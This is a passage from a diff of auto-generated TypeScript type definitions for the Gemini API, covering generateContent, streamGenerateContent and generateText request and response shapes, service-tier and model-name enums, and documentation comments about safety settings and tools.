GeminiPostV1BetaModelsModelsidPredictlongrunningBody + path: GeminiPostV1BetaModelsModelsidPredictlongrunningPath + query?: never + headers?: never +} + +export type GeminiPostV1BetaModelsModelsidPredictlongrunningResponses = { + '200': GeminiPostV1BetaModelsModelsidPredictlongrunningStatus200 +} + +/** + * @description Union of all possible responses + */ +export type GeminiPostV1BetaModelsModelsidPredictlongrunningResponse = + GeminiPostV1BetaModelsModelsidPredictlongrunningStatus200 + +export type GeminiPostV1BetaModelsModelsidStreamgeneratecontentPath = { + modelsId: string +} + +/** + * @description Response from the model supporting multiple candidate responses. Safety ratings and content filtering are reported for both prompt in `GenerateContentResponse.prompt_feedback` and for each candidate in `finish_reason` and in `safety_ratings`. The API: - Returns either all requested candidates or none of them - Returns no candidates at all only if there was something wrong with the prompt (check `prompt_feedback`) - Reports feedback on each candidate in `finish_reason` and `safety_ratings`. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidStreamgeneratecontentStatus200 = { + /** + * @description Output only. response_id is used to identify each response. + * @type string | undefined + */ + responseId?: string + /** + * @description Candidate responses from the model. + * @type array | undefined + */ + candidates?: Candidate7Cd0B73F[] + /** + * @description The status of the underlying model. This is used to indicate the stage of the underlying model and the retirement time if applicable. + * @type object | undefined + */ + modelStatus?: ModelStatus + /** + * @description Output only. The model version used to generate the response. + * @type string | undefined + */ + modelVersion?: string + /** + * @description A set of the feedback metadata the prompt specified in `GenerateContentRequest.content`. + * @type object | undefined + */ + promptFeedback?: PromptFeedback + /** + * @description Metadata on the generation request's token usage. + * @type object | undefined + */ + usageMetadata?: UsageMetadata +} + +export const geminiPostV1BetaModelsModelsidStreamgeneratecontentRequestServiceTierEnum = + { + unspecified: 'unspecified', + standard: 'standard', + flex: 'flex', + priority: 'priority', + } as const + +export type GeminiPostV1BetaModelsModelsidStreamgeneratecontentRequestServiceTierEnumKey = + (typeof geminiPostV1BetaModelsModelsidStreamgeneratecontentRequestServiceTierEnum)[keyof typeof geminiPostV1BetaModelsModelsidStreamgeneratecontentRequestServiceTierEnum] + +export const geminiPostV1BetaModelsModelsidStreamgeneratecontentRequestModelEnum = + { + 'antigravity-preview-05-2026': 'antigravity-preview-05-2026', + 'antigravity-preview-09-2026': 'antigravity-preview-09-2026', + 'antigravity-preview-latest': 'antigravity-preview-latest', + aqa: 'aqa', + 'deep-research-max-preview-04-2026': 'deep-research-max-preview-04-2026', + 'deep-research-preview-04-2026': 'deep-research-preview-04-2026', + 'deep-research-pro-preview-12-2025': 'deep-research-pro-preview-12-2025', + 'gemini-2.5-computer-use-preview-10-2025': + 'gemini-2.5-computer-use-preview-10-2025', + 'gemini-2.5-flash': 'gemini-2.5-flash', + 'gemini-2.5-flash-image': 'gemini-2.5-flash-image', + 'gemini-2.5-flash-lite': 'gemini-2.5-flash-lite', + 'gemini-2.5-flash-native-audio-latest': + 'gemini-2.5-flash-native-audio-latest', + 'gemini-2.5-flash-native-audio-preview-09-2025': + 'gemini-2.5-flash-native-audio-preview-09-2025', + 'gemini-2.5-flash-native-audio-preview-12-2025': + 'gemini-2.5-flash-native-audio-preview-12-2025', + 'gemini-2.5-flash-preview-tts': 'gemini-2.5-flash-preview-tts', + 'gemini-2.5-pro': 'gemini-2.5-pro', + 'gemini-2.5-pro-preview-tts': 'gemini-2.5-pro-preview-tts', + 'gemini-3.1-flash-image': 'gemini-3.1-flash-image', + 'gemini-3.1-flash-image-preview': 'gemini-3.1-flash-image-preview', + 'gemini-3.1-flash-lite': 'gemini-3.1-flash-lite', + 'gemini-3.1-flash-lite-image': 'gemini-3.1-flash-lite-image', + 'gemini-3.1-flash-lite-preview': 'gemini-3.1-flash-lite-preview', + 'gemini-3.1-flash-live-preview': 'gemini-3.1-flash-live-preview', + 'gemini-3.1-flash-tts-preview': 'gemini-3.1-flash-tts-preview', + 'gemini-3.1-pro-preview': 'gemini-3.1-pro-preview', + 'gemini-3.1-pro-preview-customtools': 'gemini-3.1-pro-preview-customtools', + 'gemini-3.5-flash': 'gemini-3.5-flash', + 'gemini-3.5-flash-lite': 'gemini-3.5-flash-lite', + 'gemini-3.5-live-translate-preview': 'gemini-3.5-live-translate-preview', + 'gemini-3.5-transcribe': 'gemini-3.5-transcribe', + 'gemini-3.5-transcribe-live': 'gemini-3.5-transcribe-live', + 'gemini-3.6-flash': 'gemini-3.6-flash', + 'gemini-3.7-flash': 'gemini-3.7-flash', + 'gemini-3.8-flash': 'gemini-3.8-flash', + 'gemini-3.8-flash-lite-tts': 'gemini-3.8-flash-lite-tts', + 'gemini-3.8-flash-tts': 'gemini-3.8-flash-tts', + 'gemini-3.8-live': 'gemini-3.8-live', + 'gemini-3.8-live-extended-thinking': 'gemini-3.8-live-extended-thinking', + 'gemini-3-flash-preview': 'gemini-3-flash-preview', + 'gemini-3-pro-image': 'gemini-3-pro-image', + 'gemini-3-pro-image-preview': 'gemini-3-pro-image-preview', + 'gemini-4-argon': 'gemini-4-argon', + 'gemini-embedding-001': 'gemini-embedding-001', + 'gemini-embedding-2': 'gemini-embedding-2', + 'gemini-embedding-2-preview': 'gemini-embedding-2-preview', + 'gemini-flash-latest': 'gemini-flash-latest', + 'gemini-flash-lite-latest': 'gemini-flash-lite-latest', + 'gemini-nano-banana-2.1': 'gemini-nano-banana-2.1', + 'gemini-omni-1.1-flash': 'gemini-omni-1.1-flash', + 'gemini-omni-1.2-flash': 'gemini-omni-1.2-flash', + 'gemini-omni-flash-preview': 'gemini-omni-flash-preview', + 'gemini-pro-latest': 'gemini-pro-latest', + 'gemini-robotics-er-2-preview': 'gemini-robotics-er-2-preview', + 'gemini-robotics-er-2-streaming-preview': + 'gemini-robotics-er-2-streaming-preview', + 'gemma-4-26b-a4b-it': 'gemma-4-26b-a4b-it', + 'gemma-4-31b-it': 'gemma-4-31b-it', + 'lyria-3.5': 'lyria-3.5', + 'lyria-3-clip-preview': 'lyria-3-clip-preview', + 'lyria-3-pro-preview': 'lyria-3-pro-preview', + 'lyria-realtime-exp': 'lyria-realtime-exp', + 'nano-banana-pro-preview': 'nano-banana-pro-preview', + } as const + +export type GeminiPostV1BetaModelsModelsidStreamgeneratecontentRequestModelEnumKey = + (typeof geminiPostV1BetaModelsModelsidStreamgeneratecontentRequestModelEnum)[keyof typeof geminiPostV1BetaModelsModelsidStreamgeneratecontentRequestModelEnum] + +/** + * @description Request to generate a completion from the model. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidStreamgeneratecontentBody = { + /** + * @description Required. The content of the current conversation with the model. For single-turn queries, this is a single instance. For multi-turn queries like [chat](https://aistudio.google.com/docs/text-generation#multi-turn-conversations), this is a repeated field that contains the conversation history and the latest request. + * @type array | undefined + */ + contents?: Content[] + /** + * @description Optional. A list of unique `SafetySetting` instances for blocking unsafe content. This will be enforced on the `GenerateContentRequest.contents` and `GenerateContentResponse.candidates`. There should not be more than one setting for each `SafetyCategory` type. The API will block any contents and responses that fail to meet the thresholds set by these settings. This list overrides the default settings for each `SafetyCategory` specified in the safety_settings. If there is no `SafetySetting` for a given `SafetyCategory` provided in the list, the API will use the default safety setting for that category. Harm categories HARM_CATEGORY_HATE_SPEECH, HARM_CATEGORY_SEXUALLY_EXPLICIT, HARM_CATEGORY_DANGEROUS_CONTENT, HARM_CATEGORY_HARASSMENT, HARM_CATEGORY_CIVIC_INTEGRITY, HARM_CATEGORY_JAILBREAK are supported. Refer to the [guide](https://aistudio.google.com/docs/safety-settings) for detailed information on available safety settings. Also refer to the [Safety guidance](https://aistudio.google.com/docs/safety-guidance) to learn how to incorporate safety considerations in your AI applications. + * @type array | undefined + */ + safetySettings?: SafetySetting[] + /** + * @description The Tool configuration containing parameters for specifying `Tool` use in the request. + * @type object | undefined + */ + toolConfig?: ToolConfig + /** + * @description Configuration options for model generation and outputs. Not all parameters are configurable for every model. + * @type object | undefined + */ + generationConfig?: GenerationConfig + /** + * @description Optional. The service tier of the request. + * @type string | undefined + */ + serviceTier?: GeminiPostV1BetaModelsModelsidStreamgeneratecontentRequestServiceTierEnumKey + /** + * @description Optional. A list of `Tools` the `Model` may use to generate the next response. A `Tool` is a piece of code that enables the system to interact with external systems to perform an action, or set of actions, outside of knowledge and scope of the `Model`. Supported `Tool`s are `Function` and `code_execution`. Refer to the [Function calling](https://aistudio.google.com/docs/function-calling) and the [Code execution](https://aistudio.google.com/docs/code-execution) guides to learn more. + * @type array | undefined + */ + tools?: Tool[] + /** + * @description Optional. Configures the logging behavior for a given request. If set, it takes precedence over the project-level logging config. + * @type boolean | undefined + */ + store?: boolean + /** + * @description Optional. The name of the content [cached](https://aistudio.google.com/docs/caching) to use as context to serve the prediction. Format: `cachedContents/{cachedContent}` + * @type string | undefined + */ + cachedContent?: string + /** + * @description Optional. An opaque continuation token used to resume generation from a previous `GenerateContent` or `StreamGenerateContent` response that stopped with `finish_reason` set to `CONTINUATION`. Note that `contents` is mandatory and must identically replicate the prompt and conversation history from the initial request when continuation token is provided in a request. + * @type string | undefined + */ + continuationToken?: string + /** + * @description Required. The name of the `Model` to use for generating the completion. Format: `models/{model}`. + * @type string | undefined + */ + model?: GeminiPostV1BetaModelsModelsidStreamgeneratecontentRequestModelEnumKey + /** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object | undefined + */ + systemInstruction?: Content + /** + * @description Optional. Labels with user-defined metadata for the request. Optional. Labels must follow standard unified Cloud label requirements: - Label keys must start with a letter. - Label keys and values can be no longer than 63 characters (Unicode codepoints) and can only contain lowercase letters, numeric characters, underscores, and dashes. - International characters are allowed. Usage: - Safety identifiers from aggregators: Use the key `safety_identifier` (e.g. `{"safety_identifier": "user_session_123"}`) + * @type object | undefined + */ + labels?: { + [key: string]: string + } +} + +export type GeminiPostV1BetaModelsModelsidStreamgeneratecontentOptions = { + body: GeminiPostV1BetaModelsModelsidStreamgeneratecontentBody + path: GeminiPostV1BetaModelsModelsidStreamgeneratecontentPath + query?: never + headers?: never +} + +export type GeminiPostV1BetaModelsModelsidStreamgeneratecontentResponses = { + '200': GeminiPostV1BetaModelsModelsidStreamgeneratecontentStatus200 +} + +/** + * @description Union of all possible responses + */ +export type GeminiPostV1BetaModelsModelsidStreamgeneratecontentResponse = + GeminiPostV1BetaModelsModelsidStreamgeneratecontentStatus200 + +export type GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentPath = { + tunedModelsId: string +} + +/** + * @description Response from the model supporting multiple candidate responses. Safety ratings and content filtering are reported for both prompt in `GenerateContentResponse.prompt_feedback` and for each candidate in `finish_reason` and in `safety_ratings`. The API: - Returns either all requested candidates or none of them - Returns no candidates at all only if there was something wrong with the prompt (check `prompt_feedback`) - Reports feedback on each candidate in `finish_reason` and `safety_ratings`. + * @type object + */ +export type GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentStatus200 = { + /** + * @description Output only. response_id is used to identify each response. + * @type string | undefined + */ + responseId?: string + /** + * @description Candidate responses from the model. + * @type array | undefined + */ + candidates?: Candidate7Cd0B73F[] + /** + * @description The status of the underlying model. This is used to indicate the stage of the underlying model and the retirement time if applicable. + * @type object | undefined + */ + modelStatus?: ModelStatus + /** + * @description Output only. The model version used to generate the response. + * @type string | undefined + */ + modelVersion?: string + /** + * @description A set of the feedback metadata the prompt specified in `GenerateContentRequest.content`. + * @type object | undefined + */ + promptFeedback?: PromptFeedback + /** + * @description Metadata on the generation request's token usage. + * @type object | undefined + */ + usageMetadata?: UsageMetadata +} + +export const geminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentRequestServiceTierEnum = + { + unspecified: 'unspecified', + standard: 'standard', + flex: 'flex', + priority: 'priority', + } as const + +export type GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentRequestServiceTierEnumKey = + (typeof geminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentRequestServiceTierEnum)[keyof typeof geminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentRequestServiceTierEnum] + +export const geminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentRequestModelEnum = + { + 'antigravity-preview-05-2026': 'antigravity-preview-05-2026', + 'antigravity-preview-09-2026': 'antigravity-preview-09-2026', + 'antigravity-preview-latest': 'antigravity-preview-latest', + aqa: 'aqa', + 'deep-research-max-preview-04-2026': 'deep-research-max-preview-04-2026', + 'deep-research-preview-04-2026': 'deep-research-preview-04-2026', + 'deep-research-pro-preview-12-2025': 'deep-research-pro-preview-12-2025', + 'gemini-2.5-computer-use-preview-10-2025': + 'gemini-2.5-computer-use-preview-10-2025', + 'gemini-2.5-flash': 'gemini-2.5-flash', + 'gemini-2.5-flash-image': 'gemini-2.5-flash-image', + 'gemini-2.5-flash-lite': 'gemini-2.5-flash-lite', + 'gemini-2.5-flash-native-audio-latest': + 'gemini-2.5-flash-native-audio-latest', + 'gemini-2.5-flash-native-audio-preview-09-2025': + 'gemini-2.5-flash-native-audio-preview-09-2025', + 'gemini-2.5-flash-native-audio-preview-12-2025': + 'gemini-2.5-flash-native-audio-preview-12-2025', + 'gemini-2.5-flash-preview-tts': 'gemini-2.5-flash-preview-tts', + 'gemini-2.5-pro': 'gemini-2.5-pro', + 'gemini-2.5-pro-preview-tts': 'gemini-2.5-pro-preview-tts', + 'gemini-3.1-flash-image': 'gemini-3.1-flash-image', + 'gemini-3.1-flash-image-preview': 'gemini-3.1-flash-image-preview', + 'gemini-3.1-flash-lite': 'gemini-3.1-flash-lite', + 'gemini-3.1-flash-lite-image': 'gemini-3.1-flash-lite-image', + 'gemini-3.1-flash-lite-preview': 'gemini-3.1-flash-lite-preview', + 'gemini-3.1-flash-live-preview': 'gemini-3.1-flash-live-preview', + 'gemini-3.1-flash-tts-preview': 'gemini-3.1-flash-tts-preview', + 'gemini-3.1-pro-preview': 'gemini-3.1-pro-preview', + 'gemini-3.1-pro-preview-customtools': 'gemini-3.1-pro-preview-customtools', + 'gemini-3.5-flash': 'gemini-3.5-flash', + 'gemini-3.5-flash-lite': 'gemini-3.5-flash-lite', + 'gemini-3.5-live-translate-preview': 'gemini-3.5-live-translate-preview', + 'gemini-3.5-transcribe': 'gemini-3.5-transcribe', + 'gemini-3.5-transcribe-live': 'gemini-3.5-transcribe-live', + 'gemini-3.6-flash': 'gemini-3.6-flash', + 'gemini-3.7-flash': 'gemini-3.7-flash', + 'gemini-3.8-flash': 'gemini-3.8-flash', + 'gemini-3.8-flash-lite-tts': 'gemini-3.8-flash-lite-tts', + 'gemini-3.8-flash-tts': 'gemini-3.8-flash-tts', + 'gemini-3.8-live': 'gemini-3.8-live', + 'gemini-3.8-live-extended-thinking': 'gemini-3.8-live-extended-thinking', + 'gemini-3-flash-preview': 'gemini-3-flash-preview', + 'gemini-3-pro-image': 'gemini-3-pro-image', + 'gemini-3-pro-image-preview': 'gemini-3-pro-image-preview', + 'gemini-4-argon': 'gemini-4-argon', + 'gemini-embedding-001': 'gemini-embedding-001', + 'gemini-embedding-2': 'gemini-embedding-2', + 'gemini-embedding-2-preview': 'gemini-embedding-2-preview', + 'gemini-flash-latest': 'gemini-flash-latest', + 'gemini-flash-lite-latest': 'gemini-flash-lite-latest', + 'gemini-nano-banana-2.1': 'gemini-nano-banana-2.1', + 'gemini-omni-1.1-flash': 'gemini-omni-1.1-flash', + 'gemini-omni-1.2-flash': 'gemini-omni-1.2-flash', + 'gemini-omni-flash-preview': 'gemini-omni-flash-preview', + 'gemini-pro-latest': 'gemini-pro-latest', + 'gemini-robotics-er-2-preview': 'gemini-robotics-er-2-preview', + 'gemini-robotics-er-2-streaming-preview': + 'gemini-robotics-er-2-streaming-preview', + 'gemma-4-26b-a4b-it': 'gemma-4-26b-a4b-it', + 'gemma-4-31b-it': 'gemma-4-31b-it', + 'lyria-3.5': 'lyria-3.5', + 'lyria-3-clip-preview': 'lyria-3-clip-preview', + 'lyria-3-pro-preview': 'lyria-3-pro-preview', + 'lyria-realtime-exp': 'lyria-realtime-exp', + 'nano-banana-pro-preview': 'nano-banana-pro-preview', + } as const + +export type GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentRequestModelEnumKey = + (typeof geminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentRequestModelEnum)[keyof typeof geminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentRequestModelEnum] + +/** + * @description Request to generate a completion from the model. + * @type object + */ +export type GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentBody = { + /** + * @description Required. The content of the current conversation with the model. For single-turn queries, this is a single instance. For multi-turn queries like [chat](https://aistudio.google.com/docs/text-generation#multi-turn-conversations), this is a repeated field that contains the conversation history and the latest request. + * @type array | undefined + */ + contents?: Content[] + /** + * @description Optional. A list of unique `SafetySetting` instances for blocking unsafe content. This will be enforced on the `GenerateContentRequest.contents` and `GenerateContentResponse.candidates`. There should not be more than one setting for each `SafetyCategory` type. The API will block any contents and responses that fail to meet the thresholds set by these settings. This list overrides the default settings for each `SafetyCategory` specified in the safety_settings. If there is no `SafetySetting` for a given `SafetyCategory` provided in the list, the API will use the default safety setting for that category. Harm categories HARM_CATEGORY_HATE_SPEECH, HARM_CATEGORY_SEXUALLY_EXPLICIT, HARM_CATEGORY_DANGEROUS_CONTENT, HARM_CATEGORY_HARASSMENT, HARM_CATEGORY_CIVIC_INTEGRITY, HARM_CATEGORY_JAILBREAK are supported. Refer to the [guide](https://aistudio.google.com/docs/safety-settings) for detailed information on available safety settings. Also refer to the [Safety guidance](https://aistudio.google.com/docs/safety-guidance) to learn how to incorporate safety considerations in your AI applications. + * @type array | undefined + */ + safetySettings?: SafetySetting[] + /** + * @description The Tool configuration containing parameters for specifying `Tool` use in the request. + * @type object | undefined + */ + toolConfig?: ToolConfig + /** + * @description Configuration options for model generation and outputs. Not all parameters are configurable for every model. + * @type object | undefined + */ + generationConfig?: GenerationConfig + /** + * @description Optional. The service tier of the request. + * @type string | undefined + */ + serviceTier?: GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentRequestServiceTierEnumKey + /** + * @description Optional. A list of `Tools` the `Model` may use to generate the next response. A `Tool` is a piece of code that enables the system to interact with external systems to perform an action, or set of actions, outside of knowledge and scope of the `Model`. Supported `Tool`s are `Function` and `code_execution`. Refer to the [Function calling](https://aistudio.google.com/docs/function-calling) and the [Code execution](https://aistudio.google.com/docs/code-execution) guides to learn more. + * @type array | undefined + */ + tools?: Tool[] + /** + * @description Optional. Configures the logging behavior for a given request. If set, it takes precedence over the project-level logging config. + * @type boolean | undefined + */ + store?: boolean + /** + * @description Optional. The name of the content [cached](https://aistudio.google.com/docs/caching) to use as context to serve the prediction. Format: `cachedContents/{cachedContent}` + * @type string | undefined + */ + cachedContent?: string + /** + * @description Optional. An opaque continuation token used to resume generation from a previous `GenerateContent` or `StreamGenerateContent` response that stopped with `finish_reason` set to `CONTINUATION`. Note that `contents` is mandatory and must identically replicate the prompt and conversation history from the initial request when continuation token is provided in a request. + * @type string | undefined + */ + continuationToken?: string + /** + * @description Required. The name of the `Model` to use for generating the completion. Format: `models/{model}`. + * @type string | undefined + */ + model?: GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentRequestModelEnumKey + /** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object | undefined + */ + systemInstruction?: Content + /** + * @description Optional. Labels with user-defined metadata for the request. Optional. Labels must follow standard unified Cloud label requirements: - Label keys must start with a letter. - Label keys and values can be no longer than 63 characters (Unicode codepoints) and can only contain lowercase letters, numeric characters, underscores, and dashes. - International characters are allowed. Usage: - Safety identifiers from aggregators: Use the key `safety_identifier` (e.g. `{"safety_identifier": "user_session_123"}`) + * @type object | undefined + */ + labels?: { + [key: string]: string + } +} + +export type GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentOptions = { + body: GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentBody + path: GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentPath + query?: never + headers?: never +} + +export type GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentResponses = { + '200': GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentStatus200 +} + +/** + * @description Union of all possible responses + */ +export type GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentResponse = + GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratecontentStatus200 + +export type GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratetextPath = { + tunedModelsId: string +} + +/** + * @description The response from the model, including candidate completions. + * @type object + */ +export type GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratetextStatus200 = { + /** + * @description Candidate responses from the model. + * @type array | undefined + */ + candidates?: TextCompletionBdb7C419[] + /** + * @description Returns any safety feedback related to content filtering. + * @type array | undefined + */ + safetyFeedback?: SafetyFeedback430202B9[] + /** + * @description A set of content filtering metadata for the prompt and response text. This indicates which `SafetyCategory`(s) blocked a candidate from this response, the lowest `HarmProbability` that triggered a block, and the HarmThreshold setting for that category. This indicates the smallest change to the `SafetySettings` that would be necessary to unblock at least 1 response. The blocking is configured by the `SafetySettings` in the request (or the default `SafetySettings` of the API). + * @type array | undefined + */ + filters?: ContentFilterBe7A9899[] +} + +/** + * @description Request to generate a text completion response from the model. + * @type object + */ +export type GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratetextBody = { + /** + * @description Optional. The maximum number of tokens to consider when sampling. The model uses combined Top-k and nucleus sampling. Top-k sampling considers the set of `top_k` most probable tokens. Defaults to 40. Note: The default value varies by model, see the `Model.top_k` attribute of the `Model` returned the `getModel` function. + * + * Format: `int32` + * @type integer | undefined + */ + topK?: number + /** + * @description Optional. A list of unique `SafetySetting` instances for blocking unsafe content. that will be enforced on the `GenerateTextRequest.prompt` and `GenerateTextResponse.candidates`. There should not be more than one setting for each `SafetyCategory` type. The API will block any prompts and responses that fail to meet the thresholds set by these settings. This list overrides the default settings for each `SafetyCategory` specified in the safety_settings. If there is no `SafetySetting` for a given `SafetyCategory` provided in the list, the API will use the default safety setting for that category. Harm categories HARM_CATEGORY_DEROGATORY, HARM_CATEGORY_TOXICITY, HARM_CATEGORY_VIOLENCE, HARM_CATEGORY_SEXUAL, HARM_CATEGORY_MEDICAL, HARM_CATEGORY_DANGEROUS are supported in text service. + * @type array | undefined + */ + safetySettings?: SafetySetting46E68Be6[] + /** + * @description The set of character sequences (up to 5) that will stop output generation. If specified, the API will stop at the first appearance of a stop sequence. The stop sequence will not be included as part of the response. + * @type array | undefined + */ + stopSequences?: string[] + /** + * @description Optional. The maximum number of tokens to include in a candidate. If unset, this will default to output_token_limit specified in the `Model` specification. + * + * Format: `int32` + * @type integer | undefined + */ + maxOutputTokens?: number + /** + * @description Optional. The maximum cumulative probability of tokens to consider when sampling. The model uses combined Top-k and nucleus sampling. Tokens are sorted based on their assigned probabilities so that only the most likely tokens are considered. Top-k sampling directly limits the maximum number of tokens to consider, while Nucleus sampling limits number of tokens based on the cumulative probability. Note: The default value varies by model, see the `Model.top_p` attribute of the `Model` returned the `getModel` function. + * + * Format: `float` + * @type number | undefined + */ + topP?: number + /** + * @description Text given to the model as a prompt. The Model will use this TextPrompt to Generate a text completion. + * @type object | undefined + */ + prompt?: TextPrompt + /** + * @description Optional. Controls the randomness of the output. Note: The default value varies by model, see the `Model.temperature` attribute of the `Model` returned the `getModel` function. Values can range from [0.0,1.0], inclusive. A value closer to 1.0 will produce responses that are more varied and creative, while a value closer to 0.0 will typically result in more straightforward responses from the model. + * + * Format: `float` + * @type number | undefined + */ + temperature?: number + /** + * @description Optional. Number of generated responses to return. This value must be between [1, 8], inclusive. If unset, this will default to 1. + * + * Format: `int32` + * @type integer | undefined + */ + candidateCount?: number +} + +export type GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratetextOptions = { + body: GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratetextBody + path: GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratetextPath + query?: never + headers?: never +} + +export type GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratetextResponses = { + '200': GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratetextStatus200 +} + +/** + * @description Union of all possible responses + */ +export type GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratetextResponse = + GeminiPostV1BetaTunedmodelsTunedmodelsidGeneratetextStatus200 + +export type GeminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentPath = + { + tunedModelsId: string + } + +/** + * @description Response from the model supporting multiple candidate responses. Safety ratings and content filtering are reported for both prompt in `GenerateContentResponse.prompt_feedback` and for each candidate in `finish_reason` and in `safety_ratings`. The API: - Returns either all requested candidates or none of them - Returns no candidates at all only if there was something wrong with the prompt (check `prompt_feedback`) - Reports feedback on each candidate in `finish_reason` and `safety_ratings`. + * @type object + */ +export type GeminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentStatus200 = + { + /** + * @description Output only. response_id is used to identify each response. + * @type string | undefined + */ + responseId?: string + /** + * @description Candidate responses from the model. + * @type array | undefined + */ + candidates?: Candidate7Cd0B73F[] + /** + * @description The status of the underlying model. This is used to indicate the stage of the underlying model and the retirement time if applicable. + * @type object | undefined + */ + modelStatus?: ModelStatus + /** + * @description Output only. The model version used to generate the response. + * @type string | undefined + */ + modelVersion?: string + /** + * @description A set of the feedback metadata the prompt specified in `GenerateContentRequest.content`. + * @type object | undefined + */ + promptFeedback?: PromptFeedback + /** + * @description Metadata on the generation request's token usage. + * @type object | undefined + */ + usageMetadata?: UsageMetadata + } + +export const geminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentRequestServiceTierEnum = + { + unspecified: 'unspecified', + standard: 'standard', + flex: 'flex', + priority: 'priority', + } as const + +export type GeminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentRequestServiceTierEnumKey = + (typeof geminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentRequestServiceTierEnum)[keyof typeof geminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentRequestServiceTierEnum] + +export const geminiPostV1BetaTunedmodelsTunedmodelsidStreamgeneratecontentRequestModelEnum = + { + 'antigravity-preview-05-2026': 'antigravity-preview-05-2026', + 'antigravity-preview-09-2026': 'antigravity-preview-09-2026', + 'antigravity-preview-latest': 'antigravity-preview-latest', + aqa: 'aqa', + 'deep-research-max-preview-04-2026': 'deep-research-max-preview-04-2026', + 'deep-research-preview-04-2026': 'deep-research-preview-04-2026', + 'deep-research-pro-preview-12-2025': 'deep-research-pro-preview-12-2025', + 'gemini-2.5-computer-use-preview-10-2025': + 'gemini-2.5-computer-use-preview-10-2025', + 'gemini-2.5-flash': 'gemini-2.5-flash', + 'gemini-2.5-flash-image': 'gemini-2.5-flash-image', + 'gemini-2.5-flash-lite': 'gemini-2.5-flash-lite', + 'gemini-2.5-flash-native-audio-latest': + 'gemini-2.5-flash-native-audio-latest', + 'gemini-2.5-flash-native-audio-preview-09-2025': + 'gemini-2.5-flash-native-audio-preview-09-2025', + 'gemini-2.5-flash-native-audio-preview-12-2025': + 'gemini-2.5-flash-native-audio-preview-12-2025', + 'gemini-2.5-flash-preview-tts': 'gemini-2.5-flash-preview-tts', + 'gemini-2.5-pro': 'gemini-2.5-pro', + 'gemini-2.5-pro-preview-tts': 'gemini-2.5-pro-preview-tts', + 'gemini-3.1-flash-image': 'gemini-3.1-flash-image', + 'gemini-3.1-flash-image-preview': 'gemini-3.1-flash-image-preview', + 'gemini-3.1-flash-lite': 'gemini-3.1-flash-lite', + 'gemini-3.1-flash-lite-image': 'gemini-3.1-flash-lite-image', + 'gemini-3.1-flash-lite-preview': 'gemini-3.1-flash-lite-preview', + 'gemini-3.1-flash-live-preview': 'gemini-3.1-flash-live-preview', + 'gemini-3.1-flash-tts-preview': 'gemini-3.1-flash-tts-preview', + 'gemini-3.1-pro-preview': 'gemini-3.1-pro-preview', + 'gemini-3.1-pro-preview-customtools': 'gemini-3.1-pro-preview-customtools', + 'gemini-3.5-flash': 'gemini-3.5-flash', + 'gemini-3.5-flash-lite': 'gemini-3.5-flash-lite', + 'gemini-3.5-live-translate-preview': 'gemini-3.5-live-translate-preview', + 'gemini-3.5-transcribe': 'gemini-3.5-transcribe', + 'gemini-3.5-transcribe-live': 'gemini-3.5-transcribe-live', + 'gemini-3.6-flash': 'gemini-3.6-flash', + 'gemini-3.7-flash': 'gemini-3.7-flash', + 'gemini-3.8-flash': 'gemini-3.8-flash', + 'gemini-3.8-flash-lite-tts': 'gemini-3.8-flash-lite-tts', + 'gemini-3.8-flash-tts': 'gemini-3.8-flash-tts', + 'gemini-3.8-live': 'gemini-3.8-live', + 'gemini-3.8-live-extended-thinking': 'gemini-3.8-live-extended-thinking', + 'gemini-3-flash-preview': 'gemini-3-flash-preview', + 'gemini-3-pro-image': 'gemini-3-pro-image', + 'gemini-3-pro-image-preview': 'gemini-3-pro-image-preview', + 'gemini-4-argon': 'gemini-4-argon', + 'gemini-embedding-001': 'gemini-embedding-001', + 'gemini-embedding-2': 'gemini-embedding-2', + 'gemini-embedding-2-preview': 'gemini-embedding-2-preview', + 'gemini-flash-latest': 'gemini-flash-latest', + 'gemini-flash-lite-latest': 'gemini-flash-lite-latest', + 'gemini-nano-banana-2.1': 'gemini-nano-banana-2.1', + 'gemini-omni-1.1-flash': 'gemini-omni-1.1-flash', + 'gemini-omni-1.2-flash': 'gemini-omni-1.2-flash', + 'gemini-omni-flash-preview': 'gemini-omni-flash-preview', + 'gemini-pro-latest': 'gemini-pro-latest', + 'gemini-robotics-er-2-preview': 'gemini-robotics-er-2-preview', + 'gemini-robotics-er-2-streaming-preview': + 'gemini-robotics-er-2-streaming-preview', + 